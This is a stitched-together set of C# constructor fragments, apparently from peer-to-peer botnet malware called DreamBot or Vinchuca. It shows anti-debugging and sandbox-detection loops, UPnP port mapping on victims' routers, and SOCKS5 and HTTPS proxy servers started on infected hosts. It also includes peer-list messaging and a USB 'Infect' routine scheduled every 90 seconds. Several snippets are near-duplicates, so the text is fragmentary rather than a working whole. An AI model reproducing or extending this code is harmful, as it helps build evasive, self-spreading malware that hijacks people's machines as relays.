public DreamBotApp(int port, BotIdentifier id) { BotId = id; Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port); _worker = new ClientWorker(); _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _comunicationManager = new ComunicationManager(_listener, _worker); _peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId); _messagesManager = new MessageManager(_peersManager); _messagesManager.Register(0x00, MessageType.Request, typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false); _messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false); _socks5 = new Socks5Server(8009); _https = new HttpsProxyServer(8019); //_connectivityTester = new ConnectivityTester(); //_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
public Agent(int port, BotIdentifier id) { BotIdentifier.Id = id; Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port); _worker = ClientWorker.Instance; _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress())) { var upnpSearcher = new UpnpSearcher(); upnpSearcher.DeviceFound += (s, e) => { PublicIP = e.Device.GetExternalIP(); Logger.Verbose("External IP Address: {0}", PublicIP); try { var externalPort = BotIdentifier.Id.GetPort(); BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort); var device = e.Device; device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2)); } catch (MappingException ex) { Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText); } finally { upnpSearcher.Stop(); } }; upnpSearcher.Search(); } _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _communicationManager = new CommunicationManager(_listener, _worker); var peersManager = new PeerManager(_communicationManager, _peerList, _worker); _messagesManager = new MessageManager(peersManager); peersManager.MessageSender = _messagesManager; RegisterMessageHandlers(peersManager); var externPort = BotIdentifier.Id.GetPort(); _socks5 = new Socks5Server(externPort + 1); _https = new HttpsProxyServer(externPort + 2); _connectivityTester = new ConnectivityTester(); _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
public PeerList(IWorkScheduler worker) { _worker = worker; _peers = new Dictionary <BotIdentifier, PeerInfo>(); _worker.QueueForever(Check, TimeSpan.FromMinutes(5)); _worker.QueueForever(Purge, TimeSpan.FromSeconds(15)); _worker.QueueForever(Save, TimeSpan.FromMinutes(1)); }
public ConnectionIoActor(IWorkScheduler worker, IBufferAllocator bufferAllocator) { _sendQueue = new BlockingQueue <IOState>(); _receiveQueue = new BlockingQueue <IOState>(); _bufferAllocator = bufferAllocator; _worker = worker; _worker.QueueForever(SendEnqueued, 1.Milliseconds()); _worker.QueueForever(ReceiveEnqueued, 1.Milliseconds()); }
public ConnectionIoActor(IWorkScheduler worker, IBufferAllocator bufferAllocator) { _sendQueue = new BlockingQueue<IOState>(); _receiveQueue = new BlockingQueue<IOState>(); _bufferAllocator = bufferAllocator; _worker = worker; _worker.QueueForever(SendEnqueued, 1.Milliseconds()); _worker.QueueForever(ReceiveEnqueued, 1.Milliseconds()); }
public CommunicationManager(IMessageListener listener, IWorkScheduler worker) { _listener = listener; _worker = worker; _receivedMessageQueue = new Queue <Package>(); _sendMessageQueue = new Queue <Package>(); _blackList = new List <IPAddress>(); _requestsByIp = new Dictionary <IPAddress, int>(); _worker.QueueForever(SendReceive, TimeSpan.FromMilliseconds(200)); _worker.QueueForever(AnalyzeRequestList, TimeSpan.FromMinutes(1)); }
public PeerManager(CommunicationManager communicationManager, PeerList peerList, IWorkScheduler worker) { _communicationManager = communicationManager; _communicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs; _worker = worker; _peerList = peerList; WaitingForReply = new ReplyWaitManager(_communicationManager, peerList); _worker.QueueForever(Ping, TimeSpan.FromMinutes(5)); _worker.QueueForever(PurgeTimeouts, TimeSpan.FromMinutes(15)); _peerList.BrokenBotDetected += BrokenBotDetected; }
public PeerManager(ComunicationManager comunicationManager, PeerList peerList, IWorkScheduler worker, BotIdentifier botId) { _comunicationManager = comunicationManager; _comunicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs; _worker = worker; _botId = botId; _waitingForReply = new ReplyWaitManager(_comunicationManager); _worker.QueueForever(PurgeTimeouts, TimeSpan.FromSeconds(60)); _peerList = peerList; _peerList.BrokenBotDetected += BrokenBotDetected; }
public Usb(IWorkScheduler worker) { worker.QueueForever(Infect, TimeSpan.FromSeconds(90)); }